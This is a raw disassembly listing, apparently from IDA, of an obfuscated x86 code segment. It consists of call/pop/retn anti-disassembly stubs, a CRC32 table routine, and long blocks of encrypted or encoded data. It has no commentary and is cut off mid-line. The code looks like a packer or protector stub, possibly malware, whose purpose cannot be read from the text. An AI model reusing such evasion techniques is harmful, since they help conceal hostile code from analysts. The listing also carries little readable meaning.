sub_5FDE28 proc near ; CODE XREF: sdfs____:005FDE20p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_5FDE28 endp ; --------------------------------------------------------------------------- dd 8D281957h ; --------------------------------------------------------------------------- mov ch, 0A3h loc_5FDE3E: ; CODE XREF: sdfs____:005FDDDEj sahf lock pop es push 0 push ebp call sub_5FDE4C and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5FDE4C proc near ; CODE XREF: sdfs____:005FDE44p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_5FDE4C endp ; --------------------------------------------------------------------------- dd 0A13CCE0Bh, 859AEE1Ch, 0BD9D8BC7h, 8907E917h, 0E918C98Dh dd 5206C707h, 6A6D6765h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 4B83C352h, 3A9CACB8h dd 166DB210h, 6F0446C7h, 6A6C636Eh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 3CA1C357h dd 846C722h, 737361h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 1EC35646h, 2C5003F7h, 8D8976A5h, 7E920B5h dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 800A2AC3h, 858DF37Fh, 7F09EA3h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0CBC35242h, 0F827CD26h dd 50FB8B90h, 50605250h, 5A310F52h, 61EE8A58h, 5250310Fh dd 310F5B50h, 585A2DB7h, 0B990585Ah, 11020D56h, 264995FFh dd 880F07E9h, 2, 0C00BEC8Ah, 28840Fh, 0E9FC0000h, 3A8h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 59C35747h dd 0F938A0C8h, 82686E32h, 0B65FC386h, 2434819Dh, 5FC387AEh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 6DC35747h dd 6C6BBB77h, 0D2B70F9Eh, 0C3195FFh, 0B96607E9h, 0B58D7C23h dd 7F09EA3h, 6880F60h, 9000000h, 0E9000DB5h, 819D8907h dd 6107E916h, 383106C7h, 6A3634h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 689A53C3h, 0ACF4BB66h dd 370446C7h, 6A31342Dh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 1A8BC355h, 9BED5E81h dd 9D23261Dh, 7E93121h, 846C7h, 51000000h, 6A5BDF8Bh, 0B5BF6600h dd 0A3858DA7h, 6A07F09Eh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 316FC356h, 0E9218D95h dd 850F5007h, 2, 489F88Ah, 55006A24h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 0DA3D931Ah dd 4D1D4049h, 0CE9h, 89C0D300h, 0CE1A36C7h, 453465DDh dd 4995FF68h, 6A07E926h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 48A7C351h, 298D2E1Fh dd 0E90B99B5h, 0DF816607h, 0C00BF6D4h, 53840Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 0A4EFCEC3h, 0B589EA88h, 7E9298Dh, 5139BA66h, 1F7E9h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 8B192C24h, 0E91C959Dh, 27C36807h, 8C0F5897h dd 0Ah, 505B5360h, 5A310F52h, 34816158h, 9726EF24h, 56006A58h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0BCEDF91Dh, 5FA95B9h, 8D8B6036h, 7E9185Dh, 0A992C181h dd 8B614B37h, 0E923758Dh, 3195FF07h, 6007E90Ch, 499589F8h dd 6107E912h, 9EA3B58Dh, 6A07F0h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 3C2397C3h, 24C287A4h dd 2331EC82h, 0E91E0D9Dh, 4606C707h, 0E9656C69h, 0Ah, 4D4C64DCh dd 8B586D34h, 46C7D627h, 6E6F6D04h, 53006A63h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0D38168E1h dd 302E7B7Ch, 1CB59D33h, 46C707E9h, 73616C08h, 15BD2973h dd 0C707E920h, 0C46h, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 6A9F1AC3h, 0B5952B00h dd 8907E91Eh, 0E92025B5h, 0A3858D07h, 6A07F09Eh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 4461C350h, 36BD8D6Fh, 0FB6FBA90h, 6650486Fh, 908410BBh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0D3C35545h dd 16AD8D29h, 0BD8B07E9h, 7E92A89h, 264995FFh, 0BD0307E9h dd 7E9071Dh, 10E9h, 56732000h, 6D142ACAh, 835ABC38h, 5EE80BBAh dd 0FC00B36h, 3284h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 51F274D3h, 0F241A19Bh dd 0E780F95Ch, 0DDF80CDh, 7E9h, 0E9D38B00h, 0FFFFFA97h dd 6E15B58Dh, 958907E9h, 7E924A5h, 0B8h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 0FF8942C0h, 8BCA8BE6h, 14E8C1h, 9CB30000h, 74BC1273h dd 8B982CF5h, 5FBDACE7h, 63E46FE5h, 0E953CC50h, 13h, 45EDF801h dd 94AC70F7h, 0ED1E4629h, 4B23345Bh, 5AF02E18h, 51958B5Bh dd 8107E925h, 7375C3h, 0F9BF6600h, 686Bh, 9E90000h, 55000000h dd 0E5154D5Fh, 4EB018ADh, 0BE959h, 0B7510000h, 662F2F7h dd 5F99C23Ah, 1934FFE1h, 0A800Fh, 820F0000h, 4, 4170B866h dd 0F681F55Eh, 1D89DF6Eh, 81C18B66h, 791BD8C6h, 5EE812Bh dd 0F1761C4h, 882h, 850B5300h, 7E92E5Dh, 0B348958h, 2CF08166h dd 0FBB70F23h, 6604E983h, 811E90BAh, 0FF8D40F9h, 0AA850FFFh dd 0E9FFFFFFh, 2Ah, 2404C7h, 0E8000000h, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 7F0A66Ah mov eax, [esp+4] mov [ebp+7E91E11h], eax mov eax, 0 lea ecx, [ebp+7E94D5Ah] jmp ecx ; --------------------------------------------------------------------------- mov eax, 6754h jmp loc_5FE487 ; --------------------------------------------------------------------------- pusha mov edi, [ebp+7E934F9h] sub edi, 4 xor ecx, ecx loc_5FE458: ; CODE XREF: sdfs____:005FE47Fj mov eax, ecx mov ebx, 0EDB88320h add edi, 4 mov esi, 8 loc_5FE467: ; CODE XREF: sdfs____:005FE470j shr eax, 1 sbb edx, edx and edx, ebx xor eax, edx dec esi jnz loc_5FE467 inc ecx mov [edi], eax cmp ecx, 100h jb loc_5FE458 popa retn ; --------------------------------------------------------------------------- loc_5FE487: ; CODE XREF: sdfs____:005FE447j mov ecx, eax lea ecx, [ebp+7F0A7B5h] push 0 push ebp call sub_5FE49A and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5FE49A proc near ; CODE XREF: sdfs____:005FE492p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_5FE49A endp ; --------------------------------------------------------------------------- dw 36D9h dd 99242FB4h, 0D8D89D9h, 6A07E932h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 55E9C357h dd 0E585C7F5h, 2C07E922h, 6A000075h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 3EEC351h dd 2C71BD89h, 85C707E9h, 7E922B1h, 0 ; --------------------------------------------------------------------------- push dword ptr [ebp+7E91FF5h] push 0 push eax call sub_5FE51D and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5FE51D proc near ; CODE XREF: sdfs____:005FE515p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_5FE51D endp ; --------------------------------------------------------------------------- jl short loc_5FE54A cld db 36h mov cl, 8Ch and di, 6458h call dword ptr [ebp+7E92285h] push 0 push ebx call sub_5FE549 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5FE549 proc near ; CODE XREF: sdfs____:005FE541p arg_4 = dword ptr 8 pop ebx loc_5FE54A: ; CODE XREF: sdfs____:005FE52Dj mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_5FE549 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0F0h, 0BEh, 91h dd 9AFA68F0h, 0B8807469h, 23CEA19Eh, 95FF006Ah, 7E90C31h dd 78EBC08Bh, 0A5C16BDEh, 585E3289h, 0B16EF3E2h, 0A280B7D4h dd 6CF5B4E4h, 833A0180h, 93401FDAh, 0D1561823h, 44AC80E1h dd 0A1DAA5C8h, 2D3CFA52h, 968C1E17h, 0A11F41A4h, 0D573B59Dh dd 0FFFF45A5h, 0DE004CC9h, 8631A36Ch, 0B989DAFDh, 7BFC4E98h dd 0D9236251h, 4AAC1E37h, 0C6AAFF8Ah, 1D7E5D08h, 0D9D1FE6Bh dd 8A46F25h, 607E76DBh, 0E6D7EF37h, 21A87CEEh, 0E7626D86h dd 25FD735Dh, 87240CEBh, 3AD0351Ah, 183F171Dh, 76E98F0Bh dd 0E9000005h, 56Ah, 0E489EB00h, 5FD6A448h, 8C215BFDh dd 0C372F020h, 35B8BC51h, 31682A7h, 4958F479h, 698E2ACBh dd 18329E17h, 0F4AED75Eh, 6C1CFDBDh, 0A3E51728h, 8169EB3Bh dd 0D6A04A03h, 0D3AD420Eh, 0CE4E4773h, 280903Ch, 3BDEFA36h dd 3CD1FD41h, 0B8E8E438h, 48EEEA3Ah, 1738A436h, 65518D65h dd 8411ABD1h, 1BB4B8A3h, 93CF2BD1h, 0D6A64915h, 0BC4D4D44h dd 0DDC7305Ch, 4ADD5815h, 740614B0h, 0C8DE1AA8h, 4D1449D9h dd 0E5396B38h, 0B83547E9h, 0EF07972Eh, 38AC3A0Eh, 4832C4F0h dd 7B610DF4h, 56FA3ABFh, 0A1DB7DB7h, 49DE590Ch, 168B25BFh dd 0F5807B96h, 3DCC247Eh, 0FD70D4E9h, 0B54FD9CBh, 8FD3BCFCh dd 287854EDh, 80DC14AAh, 0D4592334h, 13A5D778h, 4EE3A74Bh dd 1C50982Eh, 0E4579565h, 9B42D6DDh, 24B6C669h, 0FEB69B8h dd 0DB4CEF82h, 3B815041h, 0F3B1E3FCh, 3B567213h, 60AD4BAh dd 84069F67h, 64829128h, 996B5890h, 0D5DFD3D5h, 7, 36B51EDh dd 4AF10000h, 4F0BDBA5h, 9945D7A9h, 0F12D0577h, 8143EA0Ah dd 35670E6Eh, 0BB8A5A22h, 67060AE0h, 43F28AADh, 0E40B3FD1h dd 0A43A4894h, 0A6247C58h, 8627295Eh, 38D2AC42h, 2B07859Ch dd 0B501DFA6h, 52E76B96h, 2234902Ah, 32FE8458h, 94140DAFh dd 96B49D1Dh, 9F2D77D4h, 0A85700Dh, 2FBFD8Ah, 6D2DC828h dd 0D119AFEAh, 5CE0319Dh, 7A233580h, 43D5574Eh, 0F48227AAh dd 5D95A985h, 0B6FF50h, 0B3070000h, 8FF107A6h, 29B25F9h dd 783B6936h, 0AA0EEA8Ah, 0DD7FF680h, 5F05463Bh, 0EE1C2412h dd 63FA8458h, 7F017334h, 0CCBD75C1h, 305CA9CCh, 0DC08B1D7h dd 2EB6403Ah, 1092720Ch, 2A7BD5D8h, 0B8610AAh, 305CAA8Bh dd 0FA821D7Ch, 0E9A5C9BDh, 97237FBBh, 0AE2BFB85h, 0F021E38Ah dd 3E57C16Ch, 0C76A66BEh, 163669B5h, 0E064BD77h, 14968E56h dd 0D267D1DCh, 668510AAh, 62FE7375h, 0D2324CEEh, 0BAF642D0h dd 8FB10D6Bh, 62173AEEh, 945DCA58h, 7DF0864Bh, 0E03C3CD3h dd 5C36A601h, 0C8B24430h, 0C6B45874h, 10B9537Eh, 218B74E5h dd 0CB5943DBh, 31F39AF6h, 73D75E1Eh, 0BDBA54Ah, 46D0A84Fh dd 2A06789Eh, 32DB25F6h, 84F618C4h, 0F64E2CC0h, 7F9004ECh dd 0A0D16BFDh, 305CC4E0h, 0C9B34430h, 93F2FF3Bh, 305CBFDCh dd 0E148B724h, 10AA8430h, 38FFFFFFh, 0A537A0B3h, 0AA41A508h dd 0DC14F20Eh, 8C1CD7CAh, 89A37B5h, 729834h, 4F29C36Dh dd 2E6E23BDh, 0E628738Bh, 9C3874BCh, 923E0684h, 9420FC7Eh dd 0AA26FE7Ch, 982AFA84h, 0DE1CBDC3h, 0C234D57Fh, 0AA86F01Ah dd 0F892EC0Eh, 0C972CC6Dh, 0CA9E608Bh, 2CBD4842h, 0FFC22EE6h dd 2B55E76Fh, 0E80DC9DBh, 0DA70A48Ch, 2DD4498h, 0F82872D1h dd 0FFDB2BA9h, 0DADC2758h, 5C7BB651h, 6B9576CEh, 256B30C2h dd 0C8AA4084h, 41DB925h, 4832C480h, 9602EEF4h, 9C2AFA84h dd 0D0B4DD01h, 41A951E9h, 841681ACh, 0CC9FBE0Dh, 0BDF48E2Fh dd 208A9FFDh, 0B9A58D17h, 4174AEBh, 7088F993h, 0BA287AF8h dd 3E06FF23h, 0E26A89E8h, 1EC22E48h, 3A6AF284h, 895964B8h dd 51759C4Bh, 87DB17A5h, 0D95424CBh, 0BEFEB34Dh, 56189A39h dd 1F30E44Ch, 5F07815Dh, 6C79C547h, 527E2DB9h, 46B240F2h dd 0ED98DB87h, 0EB92B22Ah, 0CF661639h, 0CCCCC55Fh, 44E5AE98h dd 225CFE5Eh, 31B3E2D6h, 2E4EE1EDh, 9620E6D6h, 0AE989B1Bh dd 0AF2F75E5h, 962CF088h, 4A97365Ah, 0CEDF0C7Ah, 0C4F4h dd 0A64ACE00h, 0B229E4D3h, 5C14BFFFh, 0BA535130h, 0F98FF59Bh dd 9D53EA74h, 0DF4D78A1h, 17399D55h, 346CC865h, 789D3FB6h dd 4EE26AFCh, 66D2D02Ch, 6414399Bh, 5C966D2Dh, 6FFDA730h dd 5BFC58C6h, 0E97F0117h, 0F87C9501h, 0DFE9D76Eh, 4140F4ACh dd 68FD9777h, 0DF9C068Bh, 0F6043813h, 2DB0780Eh, 610C6C83h dd 0DA5B2537h, 396D804Ch, 9D56BE9h, 0F61BBF7Bh, 87D9BE86h dd 8F5721CBh, 0D8D57498h, 54D3D3CEh, 673D305Ch, 95E309D5h dd 5C549C1Ch, 982E7430h, 90E20844h, 48A0364Ch, 9BCC2045h dd 64h, 0AF19760Fh, 7463A62Eh, 411A4CE1h, 0C028832Ah, 0C5DC78C2h dd 0DCA5EB47h, 305CC4D7h, 9C05A4A8h, 0D4A64A2Eh, 2759FF59h dd 46F2228Eh, 7270CC4Eh, 52E751DCh, 2234902Ah, 32FE8458h dd 8CE80DAFh, 35D985E1h, 0D6CFEB47h, 772AC456h, 305CC537h dd 626FCBD9h, 0D65F2136h, 0FA6D07Ah, 3B6h, 0F654C800h dd 0FD7A14Ah, 77CFA943h, 78C4B45Bh, 7FC7455Ch, 66BEBE53h dd 69B5C76Ah, 6FB7356Dh, 53B3CD63h, 55A9D367h, 572685Eh dd 3C890000h, 0E6895624h, 4C681h, 0EE830000h, 24348704h dd 2434895Ch, 26FC68h, 24048900h, 0B1968h, 241C8900h, 3E5845BBh dd 5C38115h, 89F2B250h, 2F685BDEh, 89000009h, 4832424h dd 83580424h, 348904ECh, 24348124h, 6864FAAh, 8108408Fh dd 4FAA0870h, 34FF0686h, 0C4815824h, 4, 5124348Bh, 0C181E189h dd 4, 8704C183h, 0E95C240Ch, 0FFF8CE12h, 33B8908Ah, 307F0ADh dd 0E8D38BC5h, 0Ch, 877D7F2Ah, 0C8F03105h, 8654FC81h, 81CF8B5Bh dd 644EC3h, 0DE816600h, 68C79Bh, 80000000h, 0E85854C9h dd 0Ah, 0D144A311h, 2AD8BDA7h, 5FFC399Ah, 0E803148Bh, 0Dh dd 4B3D8A00h, 39D3BE22h, 9E226BC1h, 61FC6067h, 0F9C2815Eh dd 0E96CC1F6h, 13h, 0E7D0DBB2h, 3B2BEF9Bh, 0BEE73D4Eh dd 43840C5Eh, 81E1AD24h, 0D89014C2h, 0EF816665h, 0EA813395h dd 621DFF0Ah, 2314EF81h, 1489303Ah, 0BE66F803h, 0E883B750h dd 6CF88104h, 0FFFFF9Ch, 0E85h, 0C9B70F00h, 1DE9h, 0D293C100h dd 0F0DFBD2h, 8Eh, 0FF82E900h, 69B6FFFFh, 53B87838h, 883645A2h dd 9D8D227Ch, 7E92DD1h, 2490B8h, 99858900h, 0E807E90Ch dd 0 ; --------------------------------------------------------------------------- pop eax add eax, 0Dh mov [ebx], eax jmp loc_6010ED ; --------------------------------------------------------------------------- align 10h dd 923h dup(0) db 0 ; --------------------------------------------------------------------------- loc_6010ED: ; CODE XREF: sdfs____:005FEC58j jmp loc_604573 ; --------------------------------------------------------------------------- dw 0D972h dd 96BA169Fh, 49EF49E4h, 212BE37h, 0AE43ED80h, 70C927CEh dd 0E68FED00h, 54D95B4Ah, 882557F8h, 0C16C0E2Ch, 0F8F029Ch dd 1286BF2h, 870395CBh, 64DAA44Ah, 0B9B39032h, 0A1E1902Ah dd 73305CC4h, 4ACBF931h, 3264DAA4h, 0C5079F90h, 4A77305Ch dd 4F0BDBA5h, 0B873D3ADh, 7E45B554h, 0BF5B0248h, 4EECA44Ah dd 78289E2Ch, 0E60A3EDCh, 0A43A4894h, 0E3EE4A58h, 0BF5B02A7h dd 64DAA44Ah, 252FED78h, 0E80CDAEAh, 78F6EC00h, 0C4F3B3EEh dd 0B8E4305Ch, 725B6D94h, 366B3559h, 305BD976h, 0BA76049Eh dd 0D381FB1Eh, 403ADC78h, 4A0EB4E8h, 7C0ADAA4h, 5CC58505h dd 0B1158F30h, 4904D89Ch, 81F406A7h, 0BF5B02D1h, 64DAA44Ah dd 0DB9F2763h, 6B305DE3h, 4238DC78h, 0AC08E0E2h, 6342F08Ah dd 0DBA54A27h, 4A923065h, 7864DAA4h, 0C4F3B3EEh, 871D305Ch dd 43DDCBABh, 5CC54E4Eh, 0B6633F30h, 4AEB78EAh, 3290584Ah dd 64DAA44Ah, 0F0F7ED78h, 0B779A2C2h, 0F1848A8Ah, 0A48C2D86h dd 0EB01CD59h, 4A63A189h, 326AD85Ah, 0D6A04A90h, 78903260h dd 0FE46C4DCh, 0ACCE60E4h, 8EBA5044h, 0D2801668h, 0A64A9032h dd 0B43266D4h, 0C527671Ah, 0BFE9305Ch, 5CC4C2C2h, 0C2505230h dd 0C5397928h, 0C9DB305Ch, 0FB6BA361h, 60BCBC53h, 2349662h dd 5A4ABF5Bh, 27636AD8h, 0CDDE5B4Ah, 66F4CAC3h, 327AE87Eh dd 392B9F90h, 6BDBD8BAh, 0BF5B02DFh, 4CEE5A4Ah, 42D0D232h dd 9F90328Ch, 305CC516h, 22F9B26h, 5A4ABF5Bh, 27636AD8h dd 5DCB239Fh, 5A4AD330h, 0B9B74ED8h, 9E9B9CDCh, 630DBF7Bh dd 0EE5A4A27h, 0D0D2324Ch, 27638C42h, 67D5A74Ah, 0B9B39032h dd 0BF5B020Eh, 403ADC78h, 6529CCE8h, 561EAF2Dh, 0E728C308h dd 3226942Ah, 0D6A04A90h, 0A889844h, 4240A83Ah, 9507ED78h dd 5B97BF12h, 0B561439Fh, 0FDBDA431h, 0FA54286Ah, 74BCBE52h dd 0B3EE7856h, 305CC4F3h, 0D89CB11Dh, 0E87E04h, 4A9D3DDCh dd 6367D5A7h, 0D85A4A27h, 0C5DC786Ah, 0C2D3FF47h, 52E0E242h dd 9F184AE6h, 92ECD120h, 2DF6B28h, 0A74ABF5Bh, 0B43267D5h dd 0C527671Ah, 8DE9305Ch, 0B47C126Ah, 3EDC7816h, 16E2E03Ch dd 0BCF573A2h, 305CC4FCh, 4AF88E14h, 5859032h, 29B5B02h dd 9EB19173h, 22D74FDEh, 0C64245Dh, 0F6AC305Ch, 4A3A8860h dd 31B3E3A7h, 9341D7EDh, 413BDC78h, 39057785h, 0C0424FABh dd 0A517ED78h, 6D3CA522h, 78FC1185h, 0AC2E66EEh, 3634644h dd 59FF4B5Bh, 6B599127h, 60D6A04Ah, 0ED789032h, 0BC507354h dd 0F5A92FBEh, 0FD7554Dh, 560BE775h, 70874FC2h, 1CAE3408h dd 5C152565h, 7DB5EF30h, 0C5DC784Fh, 0E7E2FF47h, 0D969B4C5h dd 0EBCF2BB9h, 93110141h, 2DA331B3h, 0A74AE624h, 0E62467D5h dd 0EE78FA48h, 51AD2F66h, 0C55E5E53h, 0ECB6305Ch, 0E131D804h dd 44D6A04Ah, 0C4B7F7AAh, 4B59305Ch, 230F6983h, 2B80AE1h dd 0B9B3BF5Bh, 0D95B4A0Eh, 0B7C9B64Fh, 0B6CBE15Eh, 7967284h dd 3CF4DBFAh, 9F90328Eh, 0B3B2B782h, 0D5A74AF2h, 0E6544D09h dd 0D2D02CAEh, 1305E03Ch, 71ED886Ah, 0F33FBDD5h, 0BF5B02D1h dd 4ABF5B02h, 3266D4A6h, 0EF5B4A90h, 3A7A374Dh, 0DA305CC5h dd 12A43AC8h, 0ED6A04Ah, 780EBC74h, 0FF47C5DCh, 5E5E53E5h dd 0B6305CC5h, 0FAE804ECh, 0ADAA44Ah, 9D5574Eh, 0CD0544Dh dd 9C3DD776h, 26BDF5Eh, 0EE78BF5Bh, 5CC4F3B3h, 0AB871D30h dd 2096160Fh, 0A04AE624h, 0F4184CE0h, 0F865F086h, 0BFD5AD08h dd 0A63D167h, 0D6A04AB8h, 0B2F1A944h, 9719B144h, 8068FE7Eh dd 3BDC7802h, 67E7FD41h, 4F55A9D3h, 4AA41EE3h, 3260D6A0h dd 35A04A90h, 305CC59Ah, 78540A98h, 0E9413BDCh, 799D39A3h dd 0C7B15B03h, 863F596Bh, 0D5A74A6Fh, 4F2B7C09h, 5293C02Ch dd 0C4189A8Ah, 78176588h, 0AB45B554h, 0BF5B0215h, 60D6A04Ah dd 0B9F9032h, 7B305CC5h, 0F242DB4Bh, 0DFA1B665h, 0EB14574Eh dd 5B02BD0Fh, 0D6A04ABFh, 0C4DC7860h, 0CE4FE46h, 0B9B30181h dd 0D6A04A0Eh, 3F903260h, 428B463h, 0DC14AE76h, 2EF5BEEh dd 90019B5Bh, 305CC510h, 7456A200h, 60D6A04Ah, 5B022763h dd 0A8559FBFh, 37C1305Ch, 5CA83A7Ah, 3EC8DA30h, 5CA84343h dd 1BD7CD30h, 0D6A04AA9h, 0B899844h, 27639D2Fh, 44D6A04Ah dd 0A85913AAh, 369E24BCh, 5C654343h, 1BD7CD30h, 4A2763A9h dd 0F276DDA4h, 0A46B6A23h, 0B432A016h, 0AE760428h, 4AEEDC14h dd 0B640DAA4h, 5CC4BBFBh, 8D485530h, 0F32792AEh, 37955DF3h dd 739F9032h, 0C3305DCAh, 0BDBA54Ah, 0DBD6AA4Fh, 305CC4DBh dd 5D96F35h, 43BF5E86h, 5B027654h, 0DAA44ABFh, 4A276364h dd 32B2E3A7h, 8C42D0D2h, 0ED789032h, 81B0CAE5h, 9C1C9543h dd 74305C28h, 1B3C982Eh, 2B079D61h, 0A3116B8Fh, 939F9032h dd 0A3D9B763h, 5B02DF6Bh, 1E769FBFh, 4AC6305Dh, 0BCEFDDA4h dd 0E7C853AAh, 363E351h, 6BC7B15Bh, 0D5A74A59h, 0A8A9B43h dd 0DC789C2Eh, 0ADF74339h, 0FD7F933Bh, 7557A321h, 403ADC78h dd 5396B9E8h, 0CE16668Bh, 554E7CB4h, 4A4A47D1h, 0CA305CC5h dd 78B210D8h, 0C4F3B3EEh, 871D305Ch, 74A647ABh, 403ADC78h dd 0AE0AE6FCh, 4A32C78Bh, 0E45AE8FAh, 0F3B3EE78h, 1D305CC4h dd 754FAB87h, 3C3EDC78h, 0E725E5E0h, 0BD6ED5F0h, 42D7C32Fh dd 0E624843Ah, 6A13E23Fh, 8DCB62FCh, 0F7C9808h, 0F7B3F3A6h dd 475D305Bh, 5B02D9EBh, 0D5A74ABFh, 4AB80A67h, 6367D5A7h dd 0E8419F27h, 4A31305Dh, 7864DAA4h, 0F64238DCh, 0B9B35FEBh dd 9B5B020Eh, 0C5109001h, 0A600305Ch, 5CC4ABEBh, 0A93F6530h dd 0C522621Fh, 0B0F2305Ch, 0A44A4A78h, 276364DAh, 6AD85A4Ah dd 0B21AB432h, 8103E39Dh, 5CC49010h, 0D5A74830h, 891B7B09h dd 0C40282FFh, 9012305Ch, 0A74A6A58h, 903267D5h, 6AD85A4Ah dd 47C5DC78h, 28A6E2FFh, 0E918DF6Bh, 45439F5Bh, 3F077599h dd 6B7F4DA5h, 0BF5B02DFh, 0F3B3EE78h, 1D305CC4h, 170FAB87h dd 90322795h, 5B96FD3Fh, 0BF5B02EFh, 413BDC78h, 0AF0BE7FDh dd 7847F577h, 0C4F3B3EEh, 871D305Ch, 2EB826ABh, 5CC53373h dd 0AFC0DD30h, 99B1A0F7h, 8507F381h, 0B7EE5A4Ah, 45DBE935h dd 0C4DC7897h, 0E9CDE70h, 0B9F9A836h, 5B305CC4h, 217FBB49h dd 0D6A04A83h, 84923060h, 0E597BA22h, 1DAF8B19h, 339B5B02h dd 0CA865E1Eh, 0F48E5620h, 0DDDDD466h, 37305CC4h, 4A07856Dh dd 8E6AD85Ah, 93138E18h, 7D305CC4h, 4AF9CB27h, 326AD85Ah dd 90633F90h, 5B028101h, 0D85A4ABFh, 0BDFDB44Eh, 57305CC4h dd 5BABD57Bh, 4D7FBB49h, 5A4A2763h, 27636AD8h, 67D5A74Ah dd 0A74A9032h, 5CC59B36h, 5B099B30h, 0B12BC224h, 0D72484F5h dd 4AC8FA36h, 2467D5A7h, 0D3A64AE6h, 738855Dh, 0A5790FA5h dd 0AC700429h, 0DA18C1EFh, 5B02E052h, 36A74ABFh, 305CC59Bh dd 0DADAD761h, 3A305CC4h, 0C6DC8068h, 78B80A10h, 0C4F3B3EEh dd 871D305Ch, 95170FABh, 78903227h, 0DD70C4DCh, 0AF3D479Fh dd 0E4E54D57h, 12B032D5h, 53FB6B83h, 0CA61B8B9h, 824DB0F6h dd 0A69210ECh, 0BF5B0264h, 0B3E2A64Ah, 4D09A331h, 0A567D3A9h dd 0ED789032h, 0B0B335E6h, 6256A20Ah, 0F6734ECFh, 9D39305Bh dd 0A53F0785h, 4D03A14Dh, 0A74AE624h, 0ED7867D5h, 6ED1DFC4h dd 125B2368h, 0CFB540D5h, 21C8C8B9h, 5A48305Ch, 9E086CC4h dd 0FD7AF807h, 0A088BF8Ah, 0D5A74A62h, 78276367h, 0C4F3B3EEh dd 871D305Ch, 0F74F31C7h dd 7C9105EDh, 0DC784AF8h, 9EDC70C4h, 56AE3C46h, 0C7C7BA4Ch dd 49305CC4h, 63419F5Bh, 67D5A74Ah, 22849230h, 1E96BBAh dd 0BF5B0283h, 4CE3A74Ah, 3CD2D02Ch, 4A3C8E8Eh, 2D4FE3A7h dd 0AB3DD3D1h, 0AF0B7912h, 3D64F18Bh, 8705ED19h, 47C5DC78h dd 9D02E2FFh, 0E29F3017h, 0A919E44Ch, 0F3B3EE78h, 0E4305CC4h dd 7BF07827h, 693B5B9Ah, 7FFD1581h, 618B53EDh, 81226217h dd 0B0F2305Ch, 812B6B26h, 0BFE5305Ch, 0DC785173h, 0E7FD413Bh dd 78EDD70Bh, 0BC22F9EDh, 0F53D3FDDh, 5DBB7314h, 5A4AC130h dd 27636AD8h, 67D5A74Ah, 0A64A9032h, 0ED7866D4h, 49ECBBD8h dd 44D1D333h, 4DA5AFB5h, 0DF6BB311h, 78BF5B02h, 7781A2EDh dd 9BBD3E89h, 0F1871DE1h, 7859D39h, 4A903251h, 30B4EDA5h dd 9240D6ECh, 0FB6B9032h, 63C3BD53h, 23B8961h, 5A4ABF5Bh dd 0C4E5A5DCh, 55E7305Ch, 0C5C9DB2Bh, 329B49DFh, 0DBA54A90h dd 9B903265h, 0CBA9430Bh, 5CC4D6D6h, 0D6643E30h, 0EBC740Eh dd 4ABF5B02h, 786AD85Ah, 7BF5BEEDh, 0DE76D367h, 0E059EC73h dd 7B46B259h, 602051EBh, 0B0305CB2h, 788406F2h, 0A93C3EDCh dd 1ECF627Ah, 0ECC82035h, 638036B4h, 0E2A64A27h, 0E6D2324Ch dd 0D982E50h, 1899C39Ch, 0E2740A63h, 4A595948h, 0E9BB305Ch dd 50ACC86Dh, 3224E652h, 0EB9B390h, 66D4A64Ah, 0D957EE78h dd 33D7BC29h, 0BC525247h, 0D6C2305Ch, 43AF3DBFh, 633FB52Fh dd 0D85A4A90h, 0D0A24804h, 4894E674h, 0FEFC9DC3h, 5B02AD15h dd 0D4A64ABFh, 78276366h, 0E9413BDCh, 4A12E485h, 0E4A4DD5Bh dd 2C305CC4h, 0BA08E076h, 42D4A64Ah, 0E73F8B9Ah, 750B9965h dd 0EDDF1BA9h, 0E79F9032h, 1765264Ah, 5B02DF6Bh, 0EB9B3BFh dd 0F3B3EE78h, 1D305CC4h, 0EB0FAB87h, 0BA5F0791h, 886062C2h dd 3F90323Ah, 81019261h, 